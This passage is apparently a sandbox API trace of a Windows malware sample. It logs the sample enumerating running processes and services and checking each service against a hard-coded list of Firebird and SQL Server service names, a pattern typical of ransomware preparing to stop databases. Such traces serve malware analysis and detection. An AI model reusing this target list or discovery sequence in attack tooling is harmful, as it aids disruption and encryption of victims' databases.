lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0196.101] lstrlenW (lpString="Memory Compression") returned 18 [0196.101] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0196.589] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0196.589] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0196.590] lstrlenW (lpString="SearchUI.exe") returned 12 [0196.590] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0196.591] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0196.591] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0196.937] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0196.937] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0196.937] lstrlenW (lpString="entering.exe") returned 12 [0196.937] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0196.938] lstrlenW (lpString="literally.exe") returned 13 [0196.938] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0196.939] lstrlenW (lpString="prep.exe") returned 8 [0196.939] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0196.939] lstrlenW (lpString="homeless.exe") returned 12 [0196.939] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0196.940] lstrlenW (lpString="tips.exe") returned 8 [0196.940] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0196.941] lstrlenW (lpString="rhode_cow.exe") returned 13 [0196.941] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0196.942] lstrlenW (lpString="discount.exe") returned 12 [0196.942] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0196.943] lstrlenW (lpString="littleclosest.exe") returned 17 [0196.943] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0196.943] lstrlenW (lpString="compact.exe") returned 11 [0196.943] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0196.944] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0196.944] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0196.945] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0196.945] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0196.945] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0196.945] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0196.946] lstrlenW (lpString="vincentkills.exe") returned 16 [0196.946] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0196.947] lstrlenW (lpString="armstrong.exe") returned 13 [0196.947] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0196.947] lstrlenW (lpString="superb_guilty.exe") returned 17 [0196.947] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0196.948] lstrlenW (lpString="conditional employer.exe") returned 24 [0196.948] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0196.949] lstrlenW (lpString="middle shown.exe") returned 16 [0196.949] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0196.950] lstrlenW (lpString="forced_online.exe") returned 17 [0196.950] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0196.951] lstrlenW (lpString="knitting.exe") returned 12 [0196.951] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0196.952] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0196.952] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0196.953] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0196.953] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0196.954] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0196.954] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.955] lstrlenW (lpString="svchost.exe") returned 11 [0196.955] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0196.956] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0196.956] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.957] lstrlenW (lpString="conhost.exe") returned 11 [0196.957] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0196.958] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0196.958] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0196.959] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0196.959] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0196.960] lstrlenW (lpString="WMIADAP.exe") returned 11 [0196.960] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0196.961] lstrlenW (lpString="11.exe") returned 6 [0196.961] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.962] lstrlenW (lpString="cmd.exe") returned 7 [0196.962] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.963] lstrlenW (lpString="conhost.exe") returned 11 [0196.963] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0196.964] CloseHandle (hObject=0x2b0) returned 1 [0196.964] Sleep (dwMilliseconds=0x1f4) [0198.036] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889b88 [0198.036] EnumServicesStatusExW (in: hSCManager=0x889b88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0198.036] GetLastError () returned 0xea [0198.036] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x810c70 [0198.037] EnumServicesStatusExW (in: hSCManager=0x889b88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x810c70, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x810c70, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0198.037] CloseServiceHandle (hSCObject=0x889b88) returned 1 [0198.037] lstrlenW (lpString="Appinfo") returned 7 [0198.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0198.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0198.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0198.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0198.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0198.037] lstrlenW (lpString="AppXSvc") returned 7 [0198.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0198.038] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0198.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0198.038] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0198.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0198.038] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0198.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0198.038] lstrlenW (lpString="Audiosrv") returned 8 [0198.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0198.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0198.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0198.038] lstrlenW (lpString="BFE") returned 3 [0198.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0198.038] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0198.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0198.038] lstrlenW (lpString="BITS") returned 4 [0198.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0198.038] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0198.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0198.038] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0198.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0198.038] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0198.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0198.038] lstrlenW (lpString="CDPSvc") returned 6 [0198.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0198.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0198.038] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0198.039] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0198.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0198.039] lstrlenW (lpString="ClickToRunSvc") returned 13 [0198.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0198.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0198.039] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0198.039] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0198.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0198.039] lstrlenW (lpString="ClipSVC") returned 7 [0198.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0198.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0198.039] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0198.039] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0198.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0198.039] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0198.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0198.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0198.039] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0198.039] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0198.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0198.039] lstrlenW (lpString="CryptSvc") returned 8 [0198.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0198.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0198.039] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0198.039] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0198.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0198.039] lstrlenW (lpString="DcomLaunch") returned 10 [0198.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.039] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0198.039] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0198.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0198.040] lstrlenW (lpString="Dhcp") returned 4 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0198.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0198.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0198.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0198.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0198.040] lstrlenW (lpString="Dnscache") returned 8 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0198.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0198.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0198.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0198.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0198.040] lstrlenW (lpString="DoSvc") returned 5 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0198.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0198.040] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0198.040] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0198.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0198.040] lstrlenW (lpString="DPS") returned 3 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0198.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0198.040] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0198.040] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0198.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0198.040] lstrlenW (lpString="DusmSvc") returned 7 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0198.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0198.040] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0198.040] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0198.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0198.040] lstrlenW (lpString="EventLog") returned 8 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0198.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0198.040] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0198.040] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0198.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0198.040] lstrlenW (lpString="EventSystem") returned 11 [0198.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0198.041] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0198.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0198.041] lstrlenW (lpString="FontCache") returned 9 [0198.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0198.041] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0198.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0198.041] lstrlenW (lpString="gpsvc") returned 5 [0198.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0198.041] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0198.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0198.041] lstrlenW (lpString="iphlpsvc") returned 8 [0198.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0198.041] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0198.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0198.041] lstrlenW (lpString="KeyIso") returned 6 [0198.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0198.041] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 